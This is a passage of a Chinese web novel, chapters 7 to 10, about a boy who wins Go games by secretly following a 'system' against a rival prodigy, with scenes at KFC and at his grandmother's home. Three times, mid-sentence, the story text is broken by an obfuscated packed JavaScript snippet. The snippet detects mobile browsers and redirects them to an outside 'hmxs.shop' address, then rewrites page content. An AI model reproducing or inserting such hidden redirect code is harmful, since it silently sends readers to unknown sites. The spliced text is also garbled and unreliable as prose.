《我靠下围棋拯救男主(系统)》 7. 第 7 章 苏陌被催促地匆忙落下一子,纪辰新现下都不敢自己乱来了,全部按照系统的提示与他对弈。 姗姗来迟的张森几人,一头雾水的望着俩人。 他们本以为会打起来,哪曾想俩人竟席地而坐下起了围棋。 三人自觉地站在了苏陌这边,紧张盯着棋盘的局势。 纪辰新这边倒是显得悠然自得,他都根本没留意苏陌下的是什么。 短短十分钟的时间,苏陌再一次从他身上感受到了前所未有的压力,只见他额头冷汗涔涔,落子越来越慢。 不知过了多久,纪辰新的背后也站了一人。 赵言权不声不响,认真观棋的几人都没发现他。 直到他出口,“妙啊,实在是妙!” 纪辰新给他下的一哆嗦,惊恐回头,“淦,你他么要做鬼啊!” 赵言权今日也是来挑战他俩的,只是...他在校门口守了好久都没看到人,这才进来寻找。 此时,棋盘上的局势急转直下,苏陌快抵挡不住了。 这还是赵言权第一次见到苏陌败下阵来,心中对纪辰新的敬意不由又多了几分。 他自己输给苏陌的次数不计其数,想要赢他都快成执念了,然而此刻看到即将败北的他,赵言权内心罕见的矛盾与复杂。 这纪辰新到底是什么来头,好像他和苏陌加起来都没有胜算。 终于,苏陌轻推两颗棋子至棋盘右下角。 纪辰新神色迷茫地看着他,“干嘛?” 系统:【这表示他认输的意思。】 苏陌抬眸,“我输了。” 纪辰新撇了撇嘴,“噢。” 他手中夹着棋子,随后不知道想到什么,不自然地逼着自己说出了安慰的话,“没事,再接再厉,你总有一天能赢我的。” 天知道他有多想嘲讽,但又怕苏陌说他不尊重围棋,不尊重对手,到时候又不愿与他下了,导致任务无法完成..... 苏陌眸光如有实质般凝着面前这个赢了他两次的对手,他承认纪辰新真的很强,他甚至强到与他对决时还游刃有余。 纪辰新下每一子从不思考,如海水般深不可测,好像永远都摸不到底。 赵言权轻嗤了一声,“纪辰新,你怎么对他态度那么好,不公平!” 那天...不是嘴挺毒吗,怼他怼的那叫一个厉害,怎么到了苏陌这,变这么温柔? 难道是我不配吗? 赵言权心中极不平衡。 “纪辰新,我今天是来挑战你的!” 他这几天努力专研,已经研究出上次棋局的下几步该怎么走了。 纪辰新理都不想理他,伸了个懒腰起身,“你先下赢苏陌,再来挑战我。” 赵言权感觉自己被鄙视了,顿时脸都憋红了,他拦着纪辰新不准他走,“不行。” 纪辰新斜眼看他,“苏陌你都赢不了,拿什么赢我?” 这赤裸裸的事实,令赵言权羞愤不堪,他转战苏陌,“苏陌,我们下。” 苏陌还沉浸在面前的棋局里,没空搭理他。 赵言权伸手去动棋局,刹那,却被苏陌骇人的目光吓到。 他尴尬收回手,语气缓和,“苏陌,我们下一局行不行啊?” 苏陌摇了摇头,“我要回去研究棋局了。” 赵言权表示很无助,“可是我今天是来挑战你们的。” 张森张着嘴笑他,“可是你从来没赢过我陌哥,少挑战一次又如何,省省力气不好吗。” 叶子岚松了松颈骨,勉为其难道,“这样吧,我陪你下一局。” 赵言权更自闭了,连多看叶子岚一眼都觉得浪费时间,“你不配和我下。” 叶子岚顿时怒了,“你他么....狗眼看人低!” 赵言权不理他,目光一直在苏陌和纪辰新之间游走,“你们不跟我下,今天就都别想走!” 纪辰新瞅着他那倔强的样子,活动了一下手腕,邪恶一笑,“怎么?要干架?” 叶希希一直默默陪在苏陌身边,“苏陌哥哥,你别不开心,你下次一定能赢回来的。” 苏陌摇头,他清楚纪辰新的实力远不如此,自己下次也不一定能赢。 赵言权从父亲那听说了纪辰新一个礼拜前的英勇事迹,连忙澄清,“没有,谁要跟你干架了。” “我....我只是....想请你们去吃肯德基。” 话刚落,张森眼睛瞬间放光,犹如一匹饿狼,“真的?” 肯德基他只吃过一次,当时还是刚开店的时候,苏陌见他们整日念叨,便花钱请他们吃了。 那个炸鸡的味道,让张森想起来至今难忘。 叶子岚也馋的不行,“汉堡,炸鸡,可乐这些都要,我们这么多人,你钱够吗?” 叶希希的注意力也回到了吃的上面,“你真的要带我们去吃吗?” 赵言权一直在看纪辰新和苏陌的反应,他只想带他们两个去,谁要带那三个馋鬼去啊。 纪辰新确实有些饿了,既然有人请客,傻子才不去,正好也能给家里省点口粮。 其实....肯德基他前世是吃过的,只是后来就再没进去过了,用他的话来说,还不如炒两个菜,配点白米饭,这不比吃那香吗。 赵言权问他,“怎么样,去不去?” 抛开那些想法,纪辰新最终还是欣然前往。 赵言权再次看向苏陌,“你呢?” 苏陌向来不在外面吃东西,家里有保姆每天定时做饭,一是出于安全考虑,二是因为卫生。 张森几人当然是知道的,所以不太抱希望,“陌哥,应该是不去的,他从不在外面吃。” 纪辰新经历缺氧窒息,又是下棋,此刻肚子开始咕咕叫,语气带了点不耐烦,“吃饭不积极脑壳有问题,他不去,那我们去呗!” 说着,他就打算走了。 “谁说我不去。”苏陌眸光定定地看向纪辰新,像是有一丝赌气的意味。 纪辰新耸了耸肩,“那麻烦你动作快点!” 张森几人目瞪口呆的看着这一幕,他们惊讶于陌哥居然打破了自己一向的准则,难道陌哥也馋肯德基了? 但....陌哥不是不喜欢吃这种快餐吗。 就连上次请客,也只是看着他们吃.... 那时候陌哥怎么说的来着? 味同嚼蜡! 噢,对,味同嚼蜡! 那时,文化水平不高的三人,都听不懂这四个字的含义,后来还是叶希希主动翻阅字典,才知道陌哥说的是难吃。 只是,这么美味的炸鸡,哪里难吃了。 赵言权一言不发,默默背过身去数兜里的钱,有零有整,137块钱,应该够六个人吃了吧? 他这辈子都没为钱发愁过,此刻却极其忐忑。 待苏陌收拾好,一行人等终于出了校门。 纪辰新本以为要走着去,却看到苏陌朝某个地方招了招手,一辆保姆车便开了过来。 他的车相比赵信那辆更低调,但整体的感觉又很高级。 司机开窗喊了句小少爷,苏陌点头道,“送我们去肯德基。” 司机还以为自己听错了,他迟疑了片刻,见苏陌神态不似作伪,便压下了心中的疑问,给几人开好了车门。 六人依次落座。 车上,张森几人已经迫不及待,兴奋的不得了。 反观苏陌神情一直淡淡的,大概过了五分钟后,他开口跟纪辰新讨论,“我最后一子若是下在七之十三,你将如何应对?” 纪辰新人傻了,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074299|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头不可置信地看向他,“你是魔鬼吗,你居然在此时此刻,还在复盘?” 苏陌不觉得自己的行为有何不妥,“额,嗯...所以你将如何应对?” 纪辰新直翻白眼,摆烂应对,“我不知道。” 苏陌霎时蹙眉,“你不想说....?” “棋局都没了,我真不知道。”纪辰新打断他,“你别问了。” 苏陌沉默了好一会儿,才斟酌道,“你不背棋局的吗?” “哈?”纪辰新再次懵圈,“背棋局?” 系统:【苏陌从小就有过目不忘的本领,只要是他想要记住的,满盘棋子的位置,他都可以默出来。】 纪辰新一时无言:“.......” 苏陌盯着他,漆黑的瞳孔,眸光闪烁,也很意外,“所以你不背棋局,从不复盘?” 纪辰新咬了咬唇,不知道该如何回答。 “那你平时是怎么练的?打谱训练?”苏陌继续问。 纪辰新头都大了,“系统,打谱训练又是什么?” 系统:【宿主,你要不还是买几本围棋方面的书看看吧,以后别人要是问起围棋方面的知识,也好应对不是?】 纪辰新真想闭眼,眼不见为净,【你先告诉我怎么回答。】 系统:【你直接点头好了,打谱训练简单来说是跟着书本学习,跟着高手的棋谱一步一步摆棋,在这个过程中理解吸收高水平围棋的思想、技术、战术。】 纪辰新连忙点头,“嗯,我就是打谱训练。” 苏陌对他无比好奇,“那你看的是哪类书籍,练的是谁的谱,可以告诉我吗?” 这次纪辰新是真闭眼了,净问这种他回答不上来的问题,他只能故意打着哈欠,“忘了忘了,好困啊,到了叫我哈!” 苏陌不死心,沉默地抿着唇,目光牢牢注视着他。 纪辰新即便闭了眼,都能感受到这道存在感极强的视线,疯狂call系统,【我感觉我以后还是多躲着他比较好,他好恐怖啊!】 【他怎么还盯着我,这得有十分钟了吧。】 【那个店多远啊,怎么还不到!】 在纪辰新焦急的等待中,目的地终于到了,他迫不及待睁眼,结果下一秒就和苏陌的目光撞上了。 没办法,他只能装没看到,“哎哟,快饿死了。” 苏陌收回视线,也不知在想什么。 赵言权招呼大家,“你们找位置坐好,我去点餐。” 张森很是激动,进入店里,新奇地打量着一切,然后选了个窗边的位置,“我们坐这里吧。” 坐哪大家都无所谓,就是肚子被店里的香气勾的咕咕直叫。 赵言权点完回来,表情松快了不少,他的钱是够的,甚至还有两块钱剩。 几分钟后,服务员端了六个汉堡,六个炸鸡腿,六杯可乐过来。 食物分配的很均匀,很快大家就大快朵颐到没空讲话。 在这个狼吞虎咽的环境里,只有苏陌浅浅咬了一口,细嚼慢咽,看上去不太喜欢这个味道,他吃了几口之后就不再动了。 张森是最快吃完的,看到苏陌咬剩下的汉堡,他提溜着眼珠,吸着可乐,试探问道,“陌哥,你不吃了吗?” 苏陌哪里不知道他的心思,“你要是不嫌弃的话....” “不嫌弃,不嫌弃。”张森二话不说,就将剩了半个的汉堡接着吃起来。 纪辰新也吃的很快,因为纯饿,只是在咬最后一口炸鸡时,突然口中“嘎嘣”一声,有点疼,他脑袋一片空白。 什么鬼? 他用舌头舔了舔,尝到了一丝血腥味,紧接着舌尖感受到了一个缺口。 !!! 纪辰新蓦然瞪大了双眼,【系统,我牙好像崩了!】 8. 第 8 章 纪辰新顿时紧紧捂住自己的唇,然后在众人还未察觉时,火速进了厕所。 厕所里,纪辰新对着洗手台将崩掉的牙吐了出来。 随后又对着镜子龇牙咧嘴了一会儿,最后哭丧着脸,【这多久能长出来?】 系统:【换牙的话,大概3-6个月吧。】 纪辰新听完人更颓了,他抿了下唇,然后对着镜子调整张嘴的弧度,【这样说话,好像看不出来。】 于是,他决定在牙长好之前,做一个高冷的美男子。 系统:【那你要记住,不能大笑,说话时也要尽量不漏齿。】 听着系统的规劝,纪辰新不由想起系统擅自给他设置程序的事。 【系统,你好像欠我一个解释。你有没有想过,如果我真的没挺过去,死了呢?】 【不,你不会的。】系统的声音冷淡又冷静,它精准地抓住了纪辰新的软肋,它知道纪辰新对奶奶的感情有多深,所以根本舍不得去死,必会想尽办法下棋。 但这肯定是不能说的,否则宿主会炸毛,而它真正要解释的是为何要设置这样的程序。 那当然也是有原因的,而且还是非常重要且急迫的原因。 系统解释:【宿主,你只知道苏陌是在18岁那年出事,却不知道几个月后他将会回去帝都,等你们再次见面都不知道什么时候了。所以宿主,留给你的时间不多了,今天你对他说的那些话,差点就让任务前功尽弃了。】 【你放心,待最终任务完成,这个程序自会解除,不必担心。】 纪辰新眸光闪了闪,【你是说,只要忍过这几个月,之后几年我都不用再和他下棋了?】 这是他听到的重点,然后又讨价还价,【那几个月后,这个程序能不能解除...等重新见到他再....?】 一想到三天不下棋自己就有生命威胁,纪辰新连睡觉都不安稳了。 系统:【程序既生效,无法更改。】 如此,纪辰新没法了,他深吸一口气,【那这几个月,我需要做什么。】 系统:【当然是打败他,不断打败他。】 纪辰新满头黑线,【那以后呢?】 系统:【以后?估计都用不了几年,你们的差距会越来越小,他每年都会参加升段赛,实力也会不断提升。】 【他的目标一直是九段,你若不成为职业选手,与他形成对抗,他早晚能把你忘了。】 纪辰新:【.....】 从卫生间出来后,众人都已经吃完,赵言权再次摆弄起了苏陌的棋局。 看样子,苏陌答应了跟他对弈。 赵言权瞟到纪辰新出来,诚恳邀请他,“等会儿对弈一局?” 什么叫吃人嘴短,这就叫吃人嘴短,纪辰新一时间根本说不出拒绝的话。 他斟酌道,“今天有点晚了,要不明天?” 赵言权见好就收,“行,那就明天,我上你家找你。” 明天是周六,不用上课,纪辰新无所谓的点了头。 张森几人凑在一起观棋不语,纪辰新凑过去瞥了眼,其实看不太懂,于是开始走神。 苏陌跟赵言权对弈起来,显得很是得心应手,思考的时间也比跟纪辰新对弈时少了一大半。 赵言权再一次感受到自己与苏陌的差距,“怎么感觉你变的比以前更厉害了?” 叶希希得意道,“那是,我苏陌哥哥最是天赋异禀。” 只是她刚说完,就听到某人打了个哈欠,纪辰新下意识捂嘴,就怕被人瞧见缺了的牙床。 而张森和叶子岚听到叶希希吹捧的话后,有些尴尬地拉了拉她。 这旁边可是坐了一位一连打败苏陌两次的人啊,希希你怎么能说这么大言不惭呢,何况此人还身手了得! 苏陌没接话,他的余光扫过某个心不在焉的人后,缓缓落下了最后一子,“承让了。” 赵言权很坦然地接受了,“这是我输给你的第53回。” 苏陌朝他点头致意。 赵言权伸手恭敬道,“多谢指教。” 纪辰新微微抿着唇,见俩人姿态友好,还握手,不免有些疑问。 系统给他科普,【这是围棋的礼仪,除此之外还有很多,苏陌说你不尊重围棋,不只是因为你出言不逊。】 【以棋会友,敬人如敬己。】 纪辰新眼珠转了转,似在消化。 没多久,肯德基外面停了辆熟悉的小轿车,赵言权拎起书包,“我爸来接我了,先走了哈。” 他临出门又回头看向纪辰新,“纪辰新,要不要跟我一道,我让我爸送你。” 纪辰新点头,“好。” 苏陌看了眼时间,便也起了身,他对着张森几人道,“我让王叔送你们回去。” 张森和叶子岚倒是没意见,叶希希却赖着不想走,“苏陌哥哥,我想再玩会儿,不急着走。” 苏陌神色淡然,“那你一个人在这玩吧。” 叶希希瘪了瘪嘴,“不要嘛。” 然而,苏陌冷心冷情,根本没反应。 叶希希只能悻悻地看向自己的哥哥。 叶子岚哄她,“已经很晚了,等会儿爸妈该担心了。” 纪辰新随着赵言权上了车,苏陌目送他离开后,朝王叔的位置招了招手,“你先送他们回去。” * 翌日,上午十点左右。 赵言权在纪辰新楼下巷子里等候多时,至于他为何不上去找。 原因非常简单粗暴。 “纪辰新,那条狗你能不能揍它一顿?” “我一靠近就叫,张着血盆大口,穷凶极恶!” 一连说了两个成语,怕是把自己会的都用上了,赵言权害怕之余只觉得自己真他么有文化。 纪辰新确实是被狗叫声吸引下来的,那狗是隔壁王婶家的,对熟人摇尾亲近,对陌生人却是重拳出击。 赵言权显然怕惨了它,躲的远远的,不敢靠近,缩在一个墙角,显得异常可怜。 纪辰新为他驱狗,“你跟在我后边,小黑不咬人的,别怕。” 赵言权根本不信,“你瞧它那样,眼神奸诈,肯定在想方设法咬我屁股。” “你的屁股是什么美味吗?”纪辰新无语,“它已经吃饱了,对你的屁股不感兴趣。” 俩人的对话,很快又将肖椿吸引了过来。 肖椿站在二楼,“纪辰新,你干嘛呢?” 纪辰新没办法了,对着肖椿道,“你将小黑引到你家去,赵言权不敢上来。” 肖椿“哦”了一声,照做。 “嘬嘬嘬,小黑吃不吃鸡蛋?”肖椿站在楼上唤狗,并拿了个鸡蛋诱惑它,小黑瞥了他一眼,又瞥了赵言权一眼,一时有些动摇。 然而,当肖椿将鸡蛋打碎的那刻,小黑再也按捺不住了,一路从楼下冲到了搂上。 肖椿带它进了门,然后将门一关。 赵言权听到关门声,终于放下心来。 纪辰新看着他有些好笑,“走吧,我家就在肖椿家隔壁。” 赵言权抹了抹额头上的汗,“早知道就约你去外面公园下棋了,这破狗真烦!” “这就烦了,等会儿到了我家,我这家徒四壁的,你岂不是更烦?” 纪辰新在前面带路,即便嘴上这样调侃,但神色并无异常。 赵言权属于有钱人家的孩子,从小到大没吃过苦,所以一直都有点傲慢在身上,“其实你们这巷子就挺破的,家里穷困潦倒也正常,没事,我已经预料到了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074300|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纪辰新没反驳,一路带他进了家门。 两室一厅的小房子,客厅装饰陈旧,墙皮都快掉完了,里面一件像样的家具都没有,一眼望去只显着两个字“穷酸。” 尽管赵言权说自己已经预料到了,但亲眼见到后的瞬间,立即就闭了嘴。 他不说话,纪辰新便自顾自道,“家里就我和奶奶两个人。” “不过她去赶集了,大概还有一个小时回来。” 赵言权糯糯地张了张唇,“噢。” 虽然,他不知道赶集是什么。 纪辰新带他到唯一的一张桌子前坐下,“这是我家吃饭的桌子,我们就在这下吧,你带棋了吗?” 赵言权有些无措的坐下,“...带了。” 他因环境的破旧,连恭维的话都说不出口。 只是,他刚将棋拿出来,就再次听到了一阵犬吠声,一哆嗦,连往纪辰新身后钻。 纪辰新无奈对着外面道,“肖椿,你管好小黑!” 然而下一秒,肖椿就带了个人进来。 那人逆着光,毫无预兆地出现在视线里,其通身气度,与周围格格不入。 纪辰新瞳孔一缩,嘴比脑子快,“苏陌?” 他惊愕地瞪着一双杏眼,颇为震惊,“你为什么会在这?” 赵言权缓缓从纪辰新身后探出脑袋,一脸迷茫,“你怎么也来了?” 肖椿解释,“刚把小黑放出去,就听它狂吠不止,结果就看到了他。” “他说他来找你的。”肖椿看着纪辰新,显然也不在状况里。 “你找我?”纪辰新疑惑极了。 赵言权突然暴跳了出来,“好啊,我说怎么感觉那辆车眼熟呢,原来是你在跟踪我!” 一想到自己被狗撵的丑样都被苏陌看了去,赵言权一下就接受无能了,“你你你你丫的,也不知道下车帮帮忙!” 苏陌漠然道,“因为我也怕!” 顶着一张冷酷脸,说他怕狗,简直毫无信服力! 赵言权骂骂咧咧,“那你让我上车躲一下也行啊。” 他今天是独自前来,早知道有狗,他就让他爸送了。 纪辰新起身,拦在俩人中间,看向苏陌,“你还没回答,为什么会在这?” 苏陌眸光清明,语气理所当然,“他能来找你,我自然也能。” “他找我是为下棋。”纪辰新睨着他,“难道你也...?” 他点头,“昨日那局,我已经解开了,特来找你下完。” 苏陌的执着令人发指。 纪辰新一时有些卡壳,他该吐槽的,但他更该欣慰,毕竟男主这么主动,任务完成也能事半功倍不是? 但怎么有种,赶鸭子上架的感觉? 算了,既来之,则安之。 纪辰新摆摆手,“要不这样,一起下,你们两个一起上!” 一起上的意思就是.... 【系统,同时开两局OK吗?】 系统表示毫无压力,【放心,包的!】 “你的意思是,你要同时和我们两个一起下?”赵言权试图理解,“你真是忒狂了一点。” 苏陌望向纪辰新的神色暗藏审视,他其实也想探探纪辰新的底,这好像是个不错的机会。 纪辰新既然能说出这样的话,可见完全没将他俩放在眼里。 那么...再加一局呢? 给他上上难度。 苏陌突然看向肖椿,问道,“你会下吗?” 肖椿老实点头。 “纪辰新,要不开三局吧?”苏陌神色莫名,有种跃跃欲试的意味,指向肖椿,“加上他!” 他的眸子里藏着疯狂本色,迫不及待地想知道与纪辰新之间到底有多大的差距。 9. 第 9 章 “有何不可!”纪辰新露出睥睨的气势,“请吧。” 十分钟后,三个棋局摆在了眼前,棋子棋局都是他们自带的,肖椿甚至把自家的桌子都搬过来了。 赵言权嘟嘟囔囔地吐槽,“纪辰新,你家怎么连棋盘棋子都没有?” 纪辰新说谎得心应手,“之前的坏了,正准备换新的呢。” 他今天确实准备去买一副折叠式棋盘,毕竟总不能真因为三天不下棋就去死吧。 肖椿狐疑地看了他一眼,他从未见过他家里有过什么棋子棋盘。 “还猜先吗?”纪辰新突然道。 苏陌坐在他的正对面,眼尾上挑,思索了片刻摇头道,“不用,让你执黑先行。” 纪辰新昨晚偷偷跟系统恶补了点围棋的知识,知道执黑先行赢的优势会大一些,于是主动道,“既然如此,我愿意贴你们6.5目。” 话落,赵言权和肖椿都不可置信的看着他。 “黑棋虽然占据主动的先手优势,但我们三对一,也确实对你有点不公平。”苏陌眸光定定,紧缩深眉,语气试探,“你确定要这么做吗?” 纪辰新点头,“当然以及肯定。” 既如此,苏陌也不再劝谏。 棋局正式开始,纪辰新按照系统的指示,率先落子。 三人紧随其后,稳健应对。 纪辰新利用自己的先手优势,向每个人积极进攻,扩大实地。 苏陌经过与纪辰新的两次对弈后,决定换一种方式迎战。 既然纪辰新要贴目,那他就跟他打持久战。 时间一分一秒的过去,纪辰新落子的速度没有丝毫变化。 第一个落败的是肖椿,局势还未过半就投了降。 剩下赵言权和苏陌,俩人不同程度的进攻,对纪辰新来说不痛不痒。 系统:【九之又三,中盘胜。】 纪辰新落子,下一秒赵言权就叹气,“我输了。” 三个臭皮匠到底能不能抵一个诸葛亮?赵言权只能将所有希望寄托于苏陌身上了。 纪辰新和苏陌的对局已经进入了白热化阶段。 结果这时,系统突然发出了嗞嗞嗞的声音。 苏陌已落子,正等待纪辰新的下一步。 然而等了好一会儿,纪辰新都没反应。 纪辰新此刻正与系统天人大战,同时还被脑海里的嗞嗞声弄的人都晕乎乎的,【系统?怎么了?】 【你怎么不说话了?】 【下哪?】 系统嗞嗞嗞了大概有两分钟,带着要冒烟的声音道,【网卡了,稍等!】 纪辰新大为震撼,【网卡?】 【这种时候,你居然网卡?行不行啊!】 【到底是谁说包的,包的?】 【这才三局,你也太不靠谱了!】 正与系统东扯西扯的纪辰新,完全没发现对面的苏陌正眯起眸子,用一种奇怪的视线注视他。 赵言权和肖椿也纳闷,嘀嘀咕咕道,“苏陌这一步有这么神奇吗,纪辰新终于被难倒了?” “不知道啊,或许纪辰新有什么高招吧。” “他这种人,一步想十步,可怕的很。” “但已经过去三分钟了,不像是他的风格啊,通常思考个十秒算顶天了。” “这一步到底有什么奇特的?”赵言权紧盯着棋盘,死都要看出个好歹来。 “难道这就是天才与我们区别吗?杀人于无形,用意念?”肖椿的想象天马行空。 纪辰新终于晃过了神,不痛不痒地对上了苏陌的视线,随即他尴尬一笑,最后捂着肚子,异常痛苦道,“我好像吃坏肚子了,去趟厕所。” 他毫无预兆的逃跑了。 系统重进了网页,花了几分钟修补,才呼叫他,【可以了,可以了。】 纪辰新无奈又从厕所出来,“这闹肚子啊真不是时候,不好意思哈!” 此时距离苏陌落子已经过去了六七分钟,算是纪辰新下棋以来的一大滑铁卢,以至于最后赢了,他都还心有余悸。 【系统,今天差点就露馅了。】 系统:【网络出现了一点波动,已经调整好了,不必太担心。】 纪辰新:【怎么能不担心,你吓死我了。】 系统安慰:【放心,以后不会再出现这种情况。】 一人一统安静复盘。 一旁的苏陌则望着自己撑的最久的一局棋,沉浸式地陷入了钻研,只见他敛目低眉,就连肖椿回了家,赵言权也准备离开,都没惊扰他一分。 也就是这时,出去赶集的奶奶终于回来了。 李春兰还是头一次见纪辰新带除了肖椿以外的同学来家里。 她看着跟她打照面,即将要出去的赵言权,下意识眉眼带笑,“小家伙,你是我们小新的同学吗?” 赵言权刚要踏出去的脚停了停,他打量了一眼这位满脸皱纹,但是精气神很好的老太太,想必这就是纪辰新的奶奶了。 他呆滞的点了下头,“额....嗯。” 老太太越过他,目光又落到了餐桌前端坐板正,认真沉思的苏陌。 苏陌似有所感,他抬眼的几秒时间里,迅速理清了状况,然后从善如流的起身眉眼弯了弯道,“奶奶好,我叫苏陌,是纪辰新的同学,今天是来找他下棋的,结果下起来忘了时间,真是不好意思。” 简单一句话,问了好,自报了家门,还说明了来意,懂礼貌又知分寸, 老太太心底莫名对这个孩子有了几分好感。 苏陌说完话,便自顾自收拾起了棋局,准备离开。 见他要走,老太太连忙招呼纪辰新,“欸,小新,快留你两个同学吃午饭,奶奶这就去做饭。” 赵言权闻言有些慌,这脚踏出去也不是,不踏出去也不是。 他踌躇道,“那个...纪奶奶,没事的,不用麻烦了。” 苏陌也推脱了一下,但老太太盛情难却,再加上纪辰新一副事不关己,看好戏的表情,他鬼使神差的就应了下来。 纪辰新满眼促狭地笑看两人的反应,他都没有开口挽留他俩,结果这俩人自己搁那纠结的要死。 瞧了一会儿,他总算清了清嗓子开口,“就在这吃吧,正好尝尝我奶奶的手艺,错过这个村,可就没这个店喽,好吃程度堪比下馆子。” 被他这样一说,赵言权心思一动,倒真想尝尝了。 “那好吧。”他犹犹豫豫收回了脚。 纪辰新给俩人倒了茶,“我去帮我奶奶打下手,你们随意,我房间在那边,可以进去休息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074301|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,他就走了。 苏陌收拾好棋局,便出门给司机打了个招呼。 留下赵言权一个人百无聊赖,最后去厨房看做饭。 他新奇地看老太太烧煤炭,凑近了闻,瞬间有种中毒的既视感。 最后的结果就是,他连同纪辰新一起被老太太轰了出来。 奶奶摆手道,“小孩子去外面玩,这里不用你们帮忙。” 出来后,赵言权问了句,“纪辰新,那圆乎乎,全是黑孔的东西是啥,怎么跟我家做饭不太一样。” 纪辰新懒得回答他,反正说了他也不知道。 赵言权很快又有新的疑问,“纪辰新,电视是在你房间吗?我们去看电视吧,去看猫和老鼠。” 纪辰新无奈摇头,“没有电视。” “啊?”赵言权再次对他贫穷有了清晰的认知,怎么会没有电视呢。 “那你每天怎么打发时间?” 苏陌这个时候回来了,手里还提了箱牛奶和一袋水果。 “这个是给你和纪奶奶买的。” 这下,不止是赵言权懵了,纪辰新也懵了。 不太懂人情世故的赵言权罕见的沉默了,因为他感受到了无地自容和无助,这丫的,玩这一出,显得他多吝啬啊! 纪辰新当然是拒绝,“你干嘛呢,一顿饭而已,没必要。” 苏陌有自己做人的准则,从不欠人,况且在人家里吃饭,哪有两手空空的道理。 李春兰恰好把炒好的第一个菜端出来,就看到这一幕。 当即明白这孩子什么意思,小小年纪如此有教养,但也太生分了。 “东西拿回去,奶奶不要你们买任何东西,你们是小新的同学,就如同我的孙儿,就简简单单吃个饭,哪有要你们东西的道理。” “一顿饭,抵不了几个钱,我还盼着你们以后多来找小新玩,多来吃饭,要是每次都带东西,奶奶可不欢迎了。” 几句话下来,表达的意思很明确。 但苏陌提着东西没动,在他眼里,礼多不见怪,再一个也是为了自己心安。 纪辰新走过去将他手里的东西接了过来,“我奶奶很热情的,不在乎这些。” “当然,你做的也没错,但在我家不用这么客气。” “东西先放这,等吃完饭我给你拿回车上去。” 苏陌睫毛微颤,最终还是摇了头,“纪奶奶,你要是不收,这饭我就不敢吃了。” 吃白食的事情,苏陌怎么也做不到。 何况,他看得出纪辰新家里条件不好,那他就更不能占人家便宜了。 见他如此认真,李春兰也拗不过他,只能收下,“那下不为例。” 赵言权独自站一边,看似活着,却死了有一会儿了。 他发现,这饭吃也不是,不吃也不是。 他天马行空的想,那自己算不算吃白食呢? 要不要下去小卖部买点东西上来? 要是碰到小黑怎么办.... 怕狗的心占据高位,他埋怨地看向苏陌,随即,掏出三十块钱给他,“东西算我一半,行不。” 苏陌冷漠拒绝,“自己去买。” 赵言权简直想吐血:朋友,你想要我死,其实是可以直说的...... 10. 第 10 章 李春兰一连下来炒了五个菜。 平常家里舍不得吃的鸡腿和排骨,各炒了一盘,简直像过年了一样。 纪辰新知道奶奶是因为接受了苏陌送来的东西过意不去,这才特意去买了这些。 老太太给三人一人夹了一个鸡腿,“尝尝,我知道你们小孩子最喜欢吃这些。” 赵言权早就被香糊涂了,毫不客气地大咬一口,“哇,得劲!” 纪辰新默默给奶奶也夹了一个,“奶奶,你也吃。” 鸡腿一共六个,老太太却一个也不愿意吃,就像是算好了给他们三人一人两个。 老太太做的排骨才是最拿手,先搅盐蒸了半小时才下锅炒,然后排骨汁替换水加入,配上她独特的酱料,软烂入味,就连苏陌都一言不发的干了两碗饭。 最后碗里只剩酱料汁,赵言权一滴都没放过,一碗饭盖了下去,由衷夸赞,“唔...太好吃了,纪奶奶,我以后能天天来你家吃饭吗?” “你放心,我自己买排骨过来。”他补充道。 老太太笑的眼睛眯起,“那倒不必,等我家小新下个月生日的时候,你再过来,我还有一拿手菜-红烧肉。” 赵言权眼睛亮起,一个劲点头,“好啊,到时候我一定来!” 苏陌放下碗意犹未尽,他几乎不怎么在外面吃,从小到大都吃保姆做的饭菜,什么山珍海味都吃过,嘴还是有些刁的。 这还是第一次觉得保姆做的饭差了点什么,到底是差了什么呢? 他抬眼环伺了一周,只见纪辰新得意的翘了翘嘴,“谁允许你来了,这是我奶奶,她的拿手菜也只能我吃。” 李春兰含笑,无奈地用筷子敲了他一下,纪辰新便假装抱痛,“哎哟,奶奶你居然为了外人打我,我生气了,我不吃了!” 赵言权咽下一口饭,拍着胸脯道,“你不吃我吃,纪奶奶以后就是我亲奶奶。” 纪辰新“哼”了一声,表达不满,李春兰便摸了摸他的头,无奈道,“傻小子,来者皆是客,奶奶平日里对你还不够好吗。” “嘿嘿。”纪辰新满眼促狭的笑了,“不够,不够。” 听到笑声,老太太便知道他是故意的了,不由的也跟着笑,“就你贫。” 苏陌将一切看在眼里,他好像知道差的是什么了——人气和人情味。 真是说起来也可笑,明明他别墅里的人并不比这里少,怎么会少了人气呢。 纪辰新没想到一顿饭下来,算是彻底收服了俩人的胃口。 赵言权都赖着不想走了,说晚上还想在这吃。 